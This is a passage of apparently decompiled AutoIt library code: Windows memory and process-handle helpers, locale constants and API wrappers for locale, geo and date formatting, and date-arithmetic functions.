LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "ptr" , "VirtualAllocEx" , "handle" , $HPROCESS , "ptr" , $PADDRESS , "ulong_ptr" , $ISIZE , "dword" , $IALLOCATION , "dword" , $IPROTECT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _MEMVIRTUALFREE ($PADDRESS , $ISIZE , $IFREETYPE )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "VirtualFree" , "ptr" , $PADDRESS , "ulong_ptr" , $ISIZE , "dword" , $IFREETYPE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _MEMVIRTUALFREEEX ($HPROCESS , $PADDRESS , $ISIZE , $IFREETYPE )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "VirtualFreeEx" , "handle" , $HPROCESS , "ptr" , $PADDRESS , "ulong_ptr" , $ISIZE , "dword" , $IFREETYPE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC __MEM_OPENPROCESS ($IACCESS , $BINHERIT , $IPID , $BDEBUGPRIV = FALSE )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "handle" , "OpenProcess" , "dword" , $IACCESS , "bool" , $BINHERIT , "dword" , $IPID )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARESULT [0 ] THEN RETURN $ARESULT [0 ]
IF NOT $BDEBUGPRIV THEN RETURN SETERROR (100 , 0 , 0 )
LOCAL $HTOKEN = _SECURITY__OPENTHREADTOKENEX (BITOR ($TOKEN_ADJUST_PRIVILEGES , $TOKEN_QUERY ) )
IF @ERROR THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
_SECURITY__SETPRIVILEGE ($HTOKEN , "SeDebugPrivilege" , TRUE )
LOCAL $IERROR = @ERROR
LOCAL $IEXTENDED = @EXTENDED
LOCAL $IRET = 0
IF NOT @ERROR THEN
$ARESULT = DLLCALL ("kernel32.dll" , "handle" , "OpenProcess" , "dword" , $IACCESS , "bool" , $BINHERIT , "dword" , $IPID )
$IERROR = @ERROR
$IEXTENDED = @EXTENDED
IF $ARESULT [0 ] THEN $IRET = $ARESULT [0 ]
_SECURITY__SETPRIVILEGE ($HTOKEN , "SeDebugPrivilege" , FALSE )
IF @ERROR THEN
$IERROR = @ERROR + 20
$IEXTENDED = @EXTENDED
ENDIF
ELSE
$IERROR = @ERROR + 30
ENDIF
DLLCALL ("kernel32.dll" , "bool" , "CloseHandle" , "handle" , $HTOKEN )
RETURN SETERROR ($IERROR , $IEXTENDED , $IRET )
ENDFUNC
GLOBAL CONST $LINGUISTIC_IGNORECASE = 16
GLOBAL CONST $LINGUISTIC_IGNOREDIACRITIC = 32
GLOBAL CONST $NORM_IGNORECASE = 1
GLOBAL CONST $NORM_IGNOREKANATYPE = 65536
GLOBAL CONST $NORM_IGNORENONSPACE = 2
GLOBAL CONST $NORM_IGNORESYMBOLS = 4
GLOBAL CONST $NORM_IGNOREWIDTH = 131072
GLOBAL CONST $NORM_LINGUISTIC_CASING = 134217728
GLOBAL CONST $SORT_DIGITSASNUMBERS = 8
GLOBAL CONST $SORT_STRINGSORT = 4096
GLOBAL CONST $CSTR_LESS_THAN = 1
GLOBAL CONST $CSTR_EQUAL = 2
GLOBAL CONST $CSTR_GREATER_THAN = 3
GLOBAL CONST $MUI_LANGUAGE_ID = 4
GLOBAL CONST $MUI_LANGUAGE_NAME = 8
GLOBAL CONST $DATE_AUTOLAYOUT = 64
GLOBAL CONST $DATE_LONGDATE = 2
GLOBAL CONST $DATE_LTRREADING = 16
GLOBAL CONST $DATE_SHORTDATE = 1
GLOBAL CONST $DATE_RTLREADING = 32
GLOBAL CONST $DATE_USE_ALT_CALENDAR = 4
GLOBAL CONST $DATE_YEARMONTH = 8
GLOBAL CONST $GEO_NATION = 1
GLOBAL CONST $GEO_LATITUDE = 2
GLOBAL CONST $GEO_LONGITUDE = 3
GLOBAL CONST $GEO_ISO2 = 4
GLOBAL CONST $GEO_ISO3 = 5
GLOBAL CONST $GEO_RFC1766 = 6
GLOBAL CONST $GEO_LCID = 7
GLOBAL CONST $GEO_FRIENDLYNAME = 8
GLOBAL CONST $GEO_OFFICIALNAME = 9
GLOBAL CONST $GEO_TIMEZONES = 10
GLOBAL CONST $GEO_OFFICIALLANGUAGES = 11
GLOBAL CONST $GEO_ISO_UN_NUMBER = 12
GLOBAL CONST $GEO_PARENT = 13
GLOBAL CONST $LOCALE_ILANGUAGE = 1
GLOBAL CONST $LOCALE_SLANGUAGE = 2
GLOBAL CONST $LOCALE_SENGLANGUAGE = 4097
GLOBAL CONST $LOCALE_SABBREVLANGNAME = 3
GLOBAL CONST $LOCALE_SNATIVELANGNAME = 4
GLOBAL CONST $LOCALE_ICOUNTRY = 5
GLOBAL CONST $LOCALE_SCOUNTRY = 6
GLOBAL CONST $LOCALE_SENGCOUNTRY = 4098
GLOBAL CONST $LOCALE_SABBREVCTRYNAME = 7
GLOBAL CONST $LOCALE_SNATIVECTRYNAME = 8
GLOBAL CONST $LOCALE_IDEFAULTLANGUAGE = 9
GLOBAL CONST $LOCALE_IDEFAULTCOUNTRY = 10
GLOBAL CONST $LOCALE_IDEFAULTCODEPAGE = 11
GLOBAL CONST $LOCALE_IDEFAULTANSICODEPAGE = 4100
GLOBAL CONST $LOCALE_IDEFAULTMACCODEPAGE = 4113
GLOBAL CONST $LOCALE_SLIST = 12
GLOBAL CONST $LOCALE_IMEASURE = 13
GLOBAL CONST $LOCALE_SDECIMAL = 14
GLOBAL CONST $LOCALE_STHOUSAND = 15
GLOBAL CONST $LOCALE_SGROUPING = 16
GLOBAL CONST $LOCALE_IDIGITS = 17
GLOBAL CONST $LOCALE_ILZERO = 18
GLOBAL CONST $LOCALE_INEGNUMBER = 4112
GLOBAL CONST $LOCALE_SNATIVEDIGITS = 19
GLOBAL CONST $LOCALE_SCURRENCY = 20
GLOBAL CONST $LOCALE_SINTLSYMBOL = 21
GLOBAL CONST $LOCALE_SMONDECIMALSEP = 22
GLOBAL CONST $LOCALE_SMONTHOUSANDSEP = 23
GLOBAL CONST $LOCALE_SMONGROUPING = 24
GLOBAL CONST $LOCALE_ICURRDIGITS = 25
GLOBAL CONST $LOCALE_IINTLCURRDIGITS = 26
GLOBAL CONST $LOCALE_ICURRENCY = 27
GLOBAL CONST $LOCALE_INEGCURR = 28
GLOBAL CONST $LOCALE_SDATE = 29
GLOBAL CONST $LOCALE_STIME = 30
GLOBAL CONST $LOCALE_SSHORTDATE = 31
GLOBAL CONST $LOCALE_SLONGDATE = 32
GLOBAL CONST $LOCALE_STIMEFORMAT = 4099
GLOBAL CONST $LOCALE_IDATE = 33
GLOBAL CONST $LOCALE_ILDATE = 34
GLOBAL CONST $LOCALE_ITIME = 35
GLOBAL CONST $LOCALE_ITIMEMARKPOSN = 4101
GLOBAL CONST $LOCALE_ICENTURY = 36
GLOBAL CONST $LOCALE_ITLZERO = 37
GLOBAL CONST $LOCALE_IDAYLZERO = 38
GLOBAL CONST $LOCALE_IMONLZERO = 39
GLOBAL CONST $LOCALE_S1159 = 40
GLOBAL CONST $LOCALE_S2359 = 41
GLOBAL CONST $LOCALE_ICALENDARTYPE = 4105
GLOBAL CONST $LOCALE_IOPTIONALCALENDAR = 4107
GLOBAL CONST $LOCALE_IFIRSTDAYOFWEEK = 4108
GLOBAL CONST $LOCALE_IFIRSTWEEKOFYEAR = 4109
GLOBAL CONST $LOCALE_SDAYNAME1 = 42
GLOBAL CONST $LOCALE_SDAYNAME2 = 43
GLOBAL CONST $LOCALE_SDAYNAME3 = 44
GLOBAL CONST $LOCALE_SDAYNAME4 = 45
GLOBAL CONST $LOCALE_SDAYNAME5 = 46
GLOBAL CONST $LOCALE_SDAYNAME6 = 47
GLOBAL CONST $LOCALE_SDAYNAME7 = 48
GLOBAL CONST $LOCALE_SABBREVDAYNAME1 = 49
GLOBAL CONST $LOCALE_SABBREVDAYNAME2 = 50
GLOBAL CONST $LOCALE_SABBREVDAYNAME3 = 51
GLOBAL CONST $LOCALE_SABBREVDAYNAME4 = 52
GLOBAL CONST $LOCALE_SABBREVDAYNAME5 = 53
GLOBAL CONST $LOCALE_SABBREVDAYNAME6 = 54
GLOBAL CONST $LOCALE_SABBREVDAYNAME7 = 55
GLOBAL CONST $LOCALE_SMONTHNAME1 = 56
GLOBAL CONST $LOCALE_SMONTHNAME2 = 57
GLOBAL CONST $LOCALE_SMONTHNAME3 = 58
GLOBAL CONST $LOCALE_SMONTHNAME4 = 59
GLOBAL CONST $LOCALE_SMONTHNAME5 = 60
GLOBAL CONST $LOCALE_SMONTHNAME6 = 61
GLOBAL CONST $LOCALE_SMONTHNAME7 = 62
GLOBAL CONST $LOCALE_SMONTHNAME8 = 63
GLOBAL CONST $LOCALE_SMONTHNAME9 = 64
GLOBAL CONST $LOCALE_SMONTHNAME10 = 65
GLOBAL CONST $LOCALE_SMONTHNAME11 = 66
GLOBAL CONST $LOCALE_SMONTHNAME12 = 67
GLOBAL CONST $LOCALE_SMONTHNAME13 = 4110
GLOBAL CONST $LOCALE_SABBREVMONTHNAME1 = 68
GLOBAL CONST $LOCALE_SABBREVMONTHNAME2 = 69
GLOBAL CONST $LOCALE_SABBREVMONTHNAME3 = 70
GLOBAL CONST $LOCALE_SABBREVMONTHNAME4 = 71
GLOBAL CONST $LOCALE_SABBREVMONTHNAME5 = 72
GLOBAL CONST $LOCALE_SABBREVMONTHNAME6 = 73
GLOBAL CONST $LOCALE_SABBREVMONTHNAME7 = 74
GLOBAL CONST $LOCALE_SABBREVMONTHNAME8 = 75
GLOBAL CONST $LOCALE_SABBREVMONTHNAME9 = 76
GLOBAL CONST $LOCALE_SABBREVMONTHNAME10 = 77
GLOBAL CONST $LOCALE_SABBREVMONTHNAME11 = 78
GLOBAL CONST $LOCALE_SABBREVMONTHNAME12 = 79
GLOBAL CONST $LOCALE_SABBREVMONTHNAME13 = 4111
GLOBAL CONST $LOCALE_SPOSITIVESIGN = 80
GLOBAL CONST $LOCALE_SNEGATIVESIGN = 81
GLOBAL CONST $LOCALE_IPOSSIGNPOSN = 82
GLOBAL CONST $LOCALE_INEGSIGNPOSN = 83
GLOBAL CONST $LOCALE_IPOSSYMPRECEDES = 84
GLOBAL CONST $LOCALE_IPOSSEPBYSPACE = 85
GLOBAL CONST $LOCALE_INEGSYMPRECEDES = 86
GLOBAL CONST $LOCALE_INEGSEPBYSPACE = 87
GLOBAL CONST $LOCALE_FONTSIGNATURE = 88
GLOBAL CONST $LOCALE_SISO639LANGNAME = 89
GLOBAL CONST $LOCALE_SISO3166CTRYNAME = 90
GLOBAL CONST $LOCALE_IDEFAULTEBCDICCODEPAGE = 4114
GLOBAL CONST $LOCALE_IPAPERSIZE = 4106
GLOBAL CONST $LOCALE_SENGCURRNAME = 4103
GLOBAL CONST $LOCALE_SNATIVECURRNAME = 4104
GLOBAL CONST $LOCALE_SYEARMONTH = 4102
GLOBAL CONST $LOCALE_SSORTNAME = 4115
GLOBAL CONST $LOCALE_IDIGITSUBSTITUTION = 4116
GLOBAL CONST $LOCALE_CUSTOM_DEFAULT = 3072
GLOBAL CONST $LOCALE_CUSTOM_UI_DEFAULT = 5120
GLOBAL CONST $LOCALE_CUSTOM_UNSPECIFIED = 4096
GLOBAL CONST $LOCALE_INVARIANT = 127
GLOBAL CONST $LOCALE_SYSTEM_DEFAULT = 2048
GLOBAL CONST $LOCALE_USER_DEFAULT = 1024
GLOBAL CONST $TIME_FORCE24HOURFORMAT = 8
GLOBAL CONST $TIME_NOMINUTESORSECONDS = 1
GLOBAL CONST $TIME_NOSECONDS = 2
GLOBAL CONST $TIME_NOTIMEMARKER = 4
GLOBAL CONST $LCID_INSTALLED = 1
GLOBAL CONST $LCID_SUPPORTED = 2
#Region Global Variables and Constants
GLOBAL CONST $TAGNUMBERFMT = "uint NumDigits;uint LeadingZero;uint Grouping;ptr DecimalSep;ptr ThousandSep;uint NegativeOrder"
#EndRegion Global Variables and Constants
#Region Functions list
#EndRegion Functions list
#Region Public Functions
FUNC _WINAPI_COMPARESTRING ($ILCID , $SSTRING1 , $SSTRING2 , $IFLAGS = 0 )
LOCAL $ARET = DLLCALL ("kernel32.dll" , "int" , "CompareStringW" , "dword" , $ILCID , "dword" , $IFLAGS , "wstr" , $SSTRING1 , "int" , + 4294967295 , "wstr" , $SSTRING2 , "int" , + 4294967295 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_CREATENUMBERFORMATINFO ($INUMDIGITS , $ILEADINGZERO , $IGROUPING , $SDECIMALSEP , $STHOUSANDSEP , $INEGATIVEORDER )
LOCAL $TFMT = DLLSTRUCTCREATE ($TAGNUMBERFMT & ";wchar[" & (STRINGLEN ($SDECIMALSEP ) + 1 ) & "];wchar[" & (STRINGLEN ($STHOUSANDSEP ) + 1 ) & "]" )
DLLSTRUCTSETDATA ($TFMT , 1 , $INUMDIGITS )
DLLSTRUCTSETDATA ($TFMT , 2 , $ILEADINGZERO )
DLLSTRUCTSETDATA ($TFMT , 3 , $IGROUPING )
DLLSTRUCTSETDATA ($TFMT , 4 , DLLSTRUCTGETPTR ($TFMT , 7 ) )
DLLSTRUCTSETDATA ($TFMT , 5 , DLLSTRUCTGETPTR ($TFMT , 8 ) )
DLLSTRUCTSETDATA ($TFMT , 6 , $INEGATIVEORDER )
DLLSTRUCTSETDATA ($TFMT , 7 , $SDECIMALSEP )
DLLSTRUCTSETDATA ($TFMT , 8 , $STHOUSANDSEP )
RETURN $TFMT
ENDFUNC
FUNC _WINAPI_ENUMSYSTEMGEOID ()
LOCAL $HENUMPROC = DLLCALLBACKREGISTER ("__EnumGeoIDProc" , "bool" , "long" )
DIM $__G_VENUM [101 ] = [0 ]
LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "EnumSystemGeoID" , "dword" , 16 , "long" , 0 , "ptr" , DLLCALLBACKGETPTR ($HENUMPROC ) )
IF @ERROR OR NOT $ARET [0 ] OR NOT $__G_VENUM [0 ] THEN
$__G_VENUM = @ERROR + 10
ENDIF
DLLCALLBACKFREE ($HENUMPROC )
IF $__G_VENUM THEN RETURN SETERROR ($__G_VENUM , 0 , 0 )
__INC ($__G_VENUM , + 4294967295 )
RETURN $__G_VENUM
ENDFUNC
FUNC _WINAPI_ENUMSYSTEMLOCALES ($IFLAG )
LOCAL $HENUMPROC = DLLCALLBACKREGISTER ("__EnumLocalesProc" , "bool" , "ptr" )
DIM $__G_VENUM [101 ] = [0 ]
LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "EnumSystemLocalesW" , "ptr" , DLLCALLBACKGETPTR ($HENUMPROC ) , "dword" , $IFLAG )
IF @ERROR OR NOT $ARET [0 ] OR NOT $__G_VENUM [0 ] THEN
$__G_VENUM = @ERROR + 10
ENDIF
DLLCALLBACKFREE ($HENUMPROC )
IF $__G_VENUM THEN RETURN SETERROR ($__G_VENUM , 0 , 0 )
__INC ($__G_VENUM , + 4294967295 )
RETURN $__G_VENUM
ENDFUNC
FUNC _WINAPI_ENUMUILANGUAGES ($IFLAG = 0 )
LOCAL $HENUMPROC = DLLCALLBACKREGISTER ("__EnumUILanguagesProc" , "bool" , "ptr;long_ptr" )
LOCAL $IID = 1
IF $__WINVER >= 1536 THEN
IF BITAND ($IFLAG , 8 ) THEN
$IID = 0
ENDIF
ELSE
$IFLAG = 0
ENDIF
DIM $__G_VENUM [101 ] = [0 ]
LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "EnumUILanguagesW" , "ptr" , DLLCALLBACKGETPTR ($HENUMPROC ) , "dword" , $IFLAG , "long_ptr" , $IID )
IF @ERROR OR NOT $ARET [0 ] OR NOT $__G_VENUM [0 ] THEN
$__G_VENUM = @ERROR + 10
ENDIF
DLLCALLBACKFREE ($HENUMPROC )
IF $__G_VENUM THEN RETURN SETERROR ($__G_VENUM , 0 , 0 )
__INC ($__G_VENUM , + 4294967295 )
RETURN $__G_VENUM
ENDFUNC
FUNC _WINAPI_GETDATEFORMAT ($ILCID = 0 , $TSYSTEMTIME = 0 , $IFLAGS = 0 , $SFORMAT = "" )
IF NOT $ILCID THEN $ILCID = 1024
LOCAL $STYPEOFFORMAT = "wstr"
IF NOT STRINGSTRIPWS ($SFORMAT , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN
$STYPEOFFORMAT = "ptr"
$SFORMAT = 0
ENDIF
LOCAL $ARET = DLLCALL ("kernel32.dll" , "int" , "GetDateFormatW" , "dword" , $ILCID , "dword" , $IFLAGS , "struct*" , $TSYSTEMTIME , $STYPEOFFORMAT , $SFORMAT , "wstr" , "" , "int" , 2048 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN $ARET [5 ]
ENDFUNC
FUNC _WINAPI_GETDURATIONFORMAT ($ILCID , $IDURATION , $SFORMAT = "" )
IF NOT $ILCID THEN $ILCID = 1024
LOCAL $PST , $IVAL
IF ISDLLSTRUCT ($IDURATION ) THEN
$PST = DLLSTRUCTGETPTR ($IDURATION )
$IVAL = 0
ELSE
$PST = 0
$IVAL = $IDURATION
ENDIF
LOCAL $STYPEOFFORMAT = "wstr"
IF NOT STRINGSTRIPWS ($SFORMAT , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN
$STYPEOFFORMAT = "ptr"
$SFORMAT = 0
ENDIF
LOCAL $ARET = DLLCALL ("kernel32.dll" , "int" , "GetDurationFormat" , "dword" , $ILCID , "dword" , 0 , "ptr" , $PST , "uint64" , $IVAL , $STYPEOFFORMAT , $SFORMAT , "wstr" , "" , "int" , 2048 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN $ARET [6 ]
ENDFUNC
FUNC _WINAPI_GETGEOINFO ($IGEOID , $ITYPE , $ILANGUAGE = 0 )
LOCAL $ARET = DLLCALL ("kernel32.dll" , "int" , "GetGeoInfoW" , "long" , $IGEOID , "dword" , $ITYPE , "wstr" , "" , "int" , 4096 , "word" , $ILANGUAGE )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [3 ]
ENDFUNC
FUNC _WINAPI_GETLOCALEINFO ($ILCID , $ITYPE )
LOCAL $ARET = DLLCALL ("kernel32.dll" , "int" , "GetLocaleInfoW" , "dword" , $ILCID , "dword" , $ITYPE , "wstr" , "" , "int" , 2048 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" )
RETURN $ARET [3 ]
ENDFUNC
FUNC _WINAPI_GETNUMBERFORMAT ($ILCID , $SNUMBER , $TNUMBERFMT = 0 )
IF NOT $ILCID THEN $ILCID = 1024
LOCAL $ARET = DLLCALL ("kernel32.dll" , "int" , "GetNumberFormatW" , "dword" , $ILCID , "dword" , 0 , "wstr" , $SNUMBER , "struct*" , $TNUMBERFMT , "wstr" , "" , "int" , 2048 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN $ARET [5 ]
ENDFUNC
FUNC _WINAPI_GETSYSTEMDEFAULTLANGID ()
LOCAL $ARET = DLLCALL ("kernel32.dll" , "word" , "GetSystemDefaultLangID" )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_GETSYSTEMDEFAULTLCID ()
LOCAL $ARET = DLLCALL ("kernel32.dll" , "dword" , "GetSystemDefaultLCID" )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_GETSYSTEMDEFAULTUILANGUAGE ()
LOCAL $ARET = DLLCALL ("kernel32.dll" , "word" , "GetSystemDefaultUILanguage" )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_GETTHREADLOCALE ()
LOCAL $ARET = DLLCALL ("kernel32.dll" , "dword" , "GetThreadLocale" )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_GETTHREADUILANGUAGE ()
LOCAL $ARET = DLLCALL ("kernel32.dll" , "word" , "GetThreadUILanguage" )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_GETTIMEFORMAT ($ILCID = 0 , $TSYSTEMTIME = 0 , $IFLAGS = 0 , $SFORMAT = "" )
IF NOT $ILCID THEN $ILCID = 1024
LOCAL $STYPEOFFORMAT = "wstr"
IF NOT STRINGSTRIPWS ($SFORMAT , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN
$STYPEOFFORMAT = "ptr"
$SFORMAT = 0
ENDIF
LOCAL $ARET = DLLCALL ("kernel32.dll" , "int" , "GetTimeFormatW" , "dword" , $ILCID , "dword" , $IFLAGS , "struct*" , $TSYSTEMTIME , $STYPEOFFORMAT , $SFORMAT , "wstr" , "" , "int" , 2048 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" )
RETURN $ARET [5 ]
ENDFUNC
FUNC _WINAPI_GETUSERDEFAULTLANGID ()
LOCAL $ARET = DLLCALL ("kernel32.dll" , "word" , "GetUserDefaultLangID" )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_GETUSERDEFAULTLCID ()
LOCAL $ARET = DLLCALL ("kernel32.dll" , "dword" , "GetUserDefaultLCID" )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_GETUSERDEFAULTUILANGUAGE ()
LOCAL $ARET = DLLCALL ("kernel32.dll" , "word" , "GetUserDefaultUILanguage" )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_GETUSERGEOID ()
LOCAL $ARET = DLLCALL ("kernel32.dll" , "long" , "GetUserGeoID" , "uint" , 16 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , + 4294967295 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_ISVALIDLOCALE ($ILCID , $IFLAG = 0 )
LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "IsValidLocale" , "dword" , $ILCID , "dword" , $IFLAG )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SETLOCALEINFO ($ILCID , $ITYPE , $SDATA )
LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "SetLocaleInfoW" , "dword" , $ILCID , "dword" , $ITYPE , "wstr" , $SDATA )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SETTHREADLOCALE ($ILCID )
LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "SetThreadLocale" , "dword" , $ILCID )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SETTHREADUILANGUAGE ($ILANGUAGE )
LOCAL $ARET = DLLCALL ("kernel32.dll" , "word" , "SetThreadUILanguage" , "word" , $ILANGUAGE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN ($ARET [0 ] = $ARET [1 ] )
ENDFUNC
FUNC _WINAPI_SETUSERGEOID ($IGEOID )
LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "SetUserGeoID" , "long" , $IGEOID )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
#EndRegion Public Functions
#Region Internal Functions
FUNC __ENUMGEOIDPROC ($IID )
__INC ($__G_VENUM )
$__G_VENUM [$__G_VENUM [0 ] ] = $IID
RETURN 1
ENDFUNC
FUNC __ENUMLOCALESPROC ($PLOCALE )
__INC ($__G_VENUM )
$__G_VENUM [$__G_VENUM [0 ] ] = DEC (DLLSTRUCTGETDATA (DLLSTRUCTCREATE ("wchar[" & (_WINAPI_STRLEN ($PLOCALE ) + 1 ) & "]" , $PLOCALE ) , 1 ) )
RETURN 1
ENDFUNC
FUNC __ENUMUILANGUAGESPROC ($PLANGUAGE , $IID )
__INC ($__G_VENUM )
$__G_VENUM [$__G_VENUM [0 ] ] = DLLSTRUCTGETDATA (DLLSTRUCTCREATE ("wchar[" & (_WINAPI_STRLEN ($PLANGUAGE ) + 1 ) & "]" , $PLANGUAGE ) , 1 )
IF $IID THEN
$__G_VENUM [$__G_VENUM [0 ] ] = DEC ($__G_VENUM [$__G_VENUM [0 ] ] )
ENDIF
RETURN 1
ENDFUNC
#EndRegion Internal Functions
FUNC _DATEADD ($STYPE , $INUMBER , $SDATE )
LOCAL $ASTIMEPART [4 ]
LOCAL $ASDATEPART [4 ]
LOCAL $IJULIANDATE
$STYPE = STRINGLEFT ($STYPE , 1 )
IF STRINGINSTR ("D,M,Y,w,h,n,s" , $STYPE ) = 0 OR $STYPE = "" THEN
RETURN SETERROR (1 , 0 , 0 )
ENDIF
IF NOT STRINGISINT ($INUMBER ) THEN
RETURN SETERROR (2 , 0 , 0 )
ENDIF
IF NOT _DATEISVALID ($SDATE ) THEN
RETURN SETERROR (3 , 0 , 0 )
ENDIF
_DATETIMESPLIT ($SDATE , $ASDATEPART , $ASTIMEPART )
IF $STYPE = "d" OR $STYPE = "w" THEN
IF $STYPE = "w" THEN $INUMBER = $INUMBER * 7
$IJULIANDATE = _DATETODAYVALUE ($ASDATEPART [1 ] , $ASDATEPART [2 ] , $ASDATEPART [3 ] ) + $INUMBER
_DAYVALUETODATE ($IJULIANDATE , $ASDATEPART [1 ] , $ASDATEPART [2 ] , $ASDATEPART [3 ] )
ENDIF
IF $STYPE = "m" THEN
$ASDATEPART [2 ] = $ASDATEPART [2 ] + $INUMBER
WHILE $ASDATEPART [2 ] > 12
$ASDATEPART [2 ] = $ASDATEPART [2 ] + 4294967284
$ASDATEPART [1 ] = $ASDATEPART [1 ] + 1
WEND
WHILE $ASDATEPART [2 ] < 1
$ASDATEPART [2 ] = $ASDATEPART [2 ] + 12
$ASDATEPART [1 ] = $ASDATEPART [1 ] + 4294967295
WEND
ENDIF
IF $STYPE = "y" THEN
$ASDATEPART [1 ] = $ASDATEPART [1 ] + $INUMBER
ENDIF
IF $STYPE = "h" OR $STYPE = "n" OR $STYPE = "s" THEN
LOCAL $ITIMEVAL = _TIMETOTICKS ($ASTIMEPART [1 ] , $ASTIMEPART [2 ] , $ASTIMEPART [3 ] ) / 1000
IF $STYPE = "h" THEN $ITIMEVAL = $ITIMEVAL + $INUMBER * 3600
IF $STYPE = "n" THEN $ITIMEVAL = $ITIMEVAL + $INUMBER * 60
IF $STYPE = "s" THEN $ITIMEVAL = $ITIMEVAL + $INUMBER
LOCAL $IDAY2ADD = INT ($ITIMEVAL / (24 * 60 * 60 ) )
$ITIMEVAL = $ITIMEVAL - $IDAY2ADD * 24 * 60 * 60
IF $ITIMEVAL < 0 THEN
$IDAY2ADD = $IDAY2ADD + 4294967295
$ITIMEVAL = $ITIMEVAL + 24 * 60 * 60
ENDIF
$IJULIANDATE = _DATETODAYVALUE ($ASDATEPART [1 ] , $ASDATEPART [2 ] , $ASDATEPART [3 ] ) + $IDAY2ADD
_DAYVALUETODATE ($IJULIANDATE , $ASDATEPART [1 ] , $ASDATEPART [2 ] , $ASDATEPART [3 ] )
_TICKSTOTIME ($ITIMEVAL * 1000 , $ASTIMEPART [1 ] , $ASTIMEPART [2 ] , $ASTIMEPART [3 ] )
ENDIF
LOCAL $INUMDAYS = _DAYSINMONTH ($ASDATEPART [1 ] )
IF $INUMDAYS [$ASDATEPART [2 ] ] < $ASDATEPART [3 ] THEN $ASDATEPART [3 ] = $INUMDAYS [$ASDATEPART [2 ] ]
$SDATE = $ASDATEPART [1 ] & "/" & STRINGRIGHT ("0" & $ASDATEPART [2 ] , 2 ) & "/" & STRINGRIGHT ("0" & $ASDATEPART [3 ] , 2 )
IF $ASTIMEPART [0 ] > 0 THEN
IF $ASTIMEPART [0 ] > 2 THEN
$SDATE = $SDATE & " " & STRINGRIGHT ("0" & $ASTIMEPART [1 ] , 2 ) & ":" & STRINGRIGHT ("0" & $ASTIMEPART [2 ] , 2 ) & ":" & STRINGRIGHT ("0" & $ASTIMEPART [3 ] , 2 )
ELSE
$SDATE = $SDATE & " " & STRINGRIGHT ("0" & $ASTIMEPART [1 ] , 2 ) & ":" & STRINGRIGHT ("0" & $ASTIMEPART [2 ] , 2 )
ENDIF
ENDIF
RETURN $SDATE
ENDFUNC
FUNC _DATEDAYOFWEEK ($IDAYNUM , $IFORMAT = DEFAULT )
LOCAL CONST $MONDAY_IS_NO1 = 128
IF $IFORMAT = DEFAULT THEN $IFORMAT = 0
$IDAYNUM = INT ($IDAYNUM )
IF $IDAYNUM < 1 OR $IDAYNUM > 7 THEN RETURN SETERROR (1 , 0 , "" )
